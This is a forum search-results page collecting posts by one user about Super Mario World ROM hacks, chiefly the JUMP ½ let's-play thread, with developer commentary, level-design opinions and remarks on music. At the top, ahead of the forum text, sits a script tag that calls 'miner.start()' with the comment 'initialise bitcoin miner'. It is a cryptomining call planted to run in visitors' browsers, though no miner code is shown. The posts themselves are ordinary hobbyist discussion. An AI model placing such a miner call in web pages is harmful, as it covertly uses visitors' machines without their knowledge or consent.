<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitypge project

Search found 79 matches

Go to advanced search

by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP ϕ(14)/ϕ(13) - Half a jump is still a jump

Personally, I will never get tired of hearing the underwater theme and the cave theme, those are great songs. My favorite is when non-water levels use the water theme (looking at you chains of atrophy). Besides that, most of the songs I find okay, the only song that becomes grating fast is the defau...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP mode(0.5,1/2,2/4,3/6,1,2/1,4/2,6/3) - Spring cleaning? Wonderful. Just wonderful.

*sigh*. It always seems like talking about Mario hacks turns into this, doesn't it. No matter where you go Forums are a place for free discussion and if you didn't like a level in the hack, you should voice your opinion (without dipping into being rude), just as the creators and other players may ha...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP logₑ(√(-1))/((√(-1))*π) - Half a jump is still a jump

So the reason why the pot room leads you to 2 completely random rooms is because that path is actually a bit easier than the lolyoshi bro room path. We figured that rng would be a good exchange for an easier path. You take the bro path, you have a harder time but at least you know what you're doing....
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP logₑ(√(-1))/((√(-1))*π) - Half a jump is still a jump

Clarification: worldpeace nearly quit hacking after making the boss. He had lots of fun working on everything else except this because he didn't enjoy the lack of freedom when working with bowser and not with any sort of boss. So the pots room, I'll provide some dev commentary. Iso returned one triu...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP φ/(1+(√5)) - Half a jump is still a jump

Man... it's levels like this one that make me realize the world of difference between myself and most of this community regarding video game difficulty. Maybe it's the fact that I suffer from anger issues, and have since I was a kid, but man, I cannot see this level as "good". Like, well designed f...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP φ/(1+(√5)) - Half a jump is still a jump

This is one of lolyoshi's best works in my opinion, in a way it could be his magnum opus, and represents everything about the way he makes levels. There's also a couple other designers that have these sort of levels (though vastly different than So Sadistic), they represent the epitome of that desig...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP ξ(1) - Half a jump is still a jump

Granted it's probably not fully vanilla and it probably takes some amount of coding to do what's desired right but hey, that's a lot of props to the folks who coded it too. You're absolutely right! It's not vanilla. Huge props to worldpeace for coding this awesome event. Also, while we're on the to...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP log₉3 - Half a jump is still a jump

Boss baby yoshi bass
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP (3!+3!)/(4!) - Half a jump is still a jump

So regarding the use of the rosary storehouse item, we actually intended for players to discover it before finishing world 7. So it's totally reasonable to use it in both works 7 and 8, if you so desire of course. Just like the gauntlet was useful in THROW, the rosary is useful in a few particular l...
by gbreeze
1 month ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP (⁰⋅⁸√16)/(¹⋅⁵√(8^3)) - Half a jump is still a jump

Yeah there's no secrets in the world 8 storehouse. The life farm spawns 4 rocks because of sprite limits
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP (1/4 + 1/8 + 1/16 + 1/32 + 1/64 + ...) - Half a jump is still a jump

The first half is actually somewhat related to the 2nd half. Both make frequent use of throw blocks and are both autoscrollers. Also, I don't think it's that big of a deal if two sections of a level aren't super related, as long as they're fun
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP sin(π/((3^2)-(3^1))) - Half a jump is still a jump

Srsly though Cait Sith's theme really works well on SNES instrumentals. This whole hack's soundtrack is pretty amazing It is indeed. SMW hack music has come a long way, it would seem. Also, that's not the only FF7 song in today's video. That beach map uses the Costa Del Sol theme. That's actually n...
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP |(√(-1))/(√(-4))| - Half a junp is still a junp

MODERATOR LAZY R VRY SMART
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP (1^2)/(2^1) - Half a jump is still a jump

Timers were kept in traditional platforming levels because speedrunners often use the time on the smw timer as an indicator of when to perform jumps, when to do certain actions, whether they have a bp, etc. (this is not an original thought from me, it was mentioned by ft a while ago when we discusse...
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP 3/2-1 - Half a jump is still a jump

For the moon puzzle, I was wondering if he could just step off the platform after hitting the turtle on it, land on the de-shelled turtle, and bounce to the one on the sprite-only blocks. It's what I would have tried, but then, I don't have a concrete sense of how high you bounce. You need the shell?
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP 1.(0)/2.(0) - Half a jump is still a jump

If the jump half team was making an indie game, it would look way different. Gimmicks would need to be fun and interesting in and of themselves. No references to smw, or exploitation of existing quirks, would exist. Some levels actually stand well on their own outside of the smw engine and could be ...
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP 1.(0)/2.(0) - Half a jump is still a jump

The message box at the beginning of Arduous Harbor is indeed a reference to Manky Bridge. Actually, the whole level is a reference to both Manky Bridge and Perilous Pier; it even uses the same naming gimmick (there's two more levels in the hack with similar naming gimmicks as well, funny enough). Al...
by gbreeze
2 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP one divided by two - Half a jump is still a jump

I love the name "Destiny of Grassland" Dev commentary for THIS WHAT GOD FEEL LIKE for those who are interested. This was an lolyoshi level at first. Initially, he was using the orange blocks more as a "don't hold jump or you'll die" gimmick, and it featured classic lolyoshi design with some fun plat...
by gbreeze
3 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1061
Views: 37616

Re: JUMP½ - Half a jump is still a jump

Here we go!! I will admit to being slightly afraid of what the later stuff holds given JUMP's difficulty took off into the stratosphere around midgame (in my opinion at least, others here are way more used to that level of nonsense), but having done a fair amount of world 1 already myself, so far so...
by gbreeze
3 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5547
Views: 497589

Re: request grab-bag

I've seen the whole hack. It's a nice kaizo hack sure, but kaizo hacks aren't conducive to let's plays at all really. Also, I like how raocow plays non-kaizo hacks, which everyone else plays way too much of.
by gbreeze
3 months ago
Forum: let's play
Topic: SUPER - Mario and Detteiu's Trap Tower
Replies: 223
Views: 9566

Re: SUPER - Mario and Detteiu's Trap Tower

I think that vitor being able to work on lunar magic is a step in the right direction for sure. But yeah, a fully open source level editor would be great. It's kinda wild how it's been over nearly 15 years now that the internet hack hacked smw and there's still so many arbitrary restrictions on what...
by gbreeze
3 months ago
Forum: JUMP½
Topic: [009] Manky Bridge 2
Replies: 5
Views: 457

Re: [009] Manky Bridge 2

I'll echo what cozyduck said in that I'm very glad you decided to buff this level, and the rest of your JUMP 1/2 levels as well. The hack was desperately in need of more brutal levels, especially after so many complains about the lack of reverse control gimmicks. I liked the dc room, especially the ...
by gbreeze
4 months ago
Forum: let's play
Topic: ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ - World Soccer Winning Eleven 5: Final Frog - 9
Replies: 175
Views: 5901

Re: ᘛ⁐̤ᕐᐷ - Kid Hearts 0.2: Birth by Saws - A Fragmentary Everything - 6

There have actually been plenty of puzzle levels that make use of that glitch, that wasn't the first one.
by gbreeze
4 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5547
Views: 497589

Re: request grab-bag

Nachos and Fried Oreos, a Super Mario World hack . It's well designed, I would say. If this hack is ever played, it would be super important to figure out the implications of a "permanent game-over" for an lp. Currently, qubictom is managing up to the beginning of world 3 on limited lives. However,...

Go to advanced search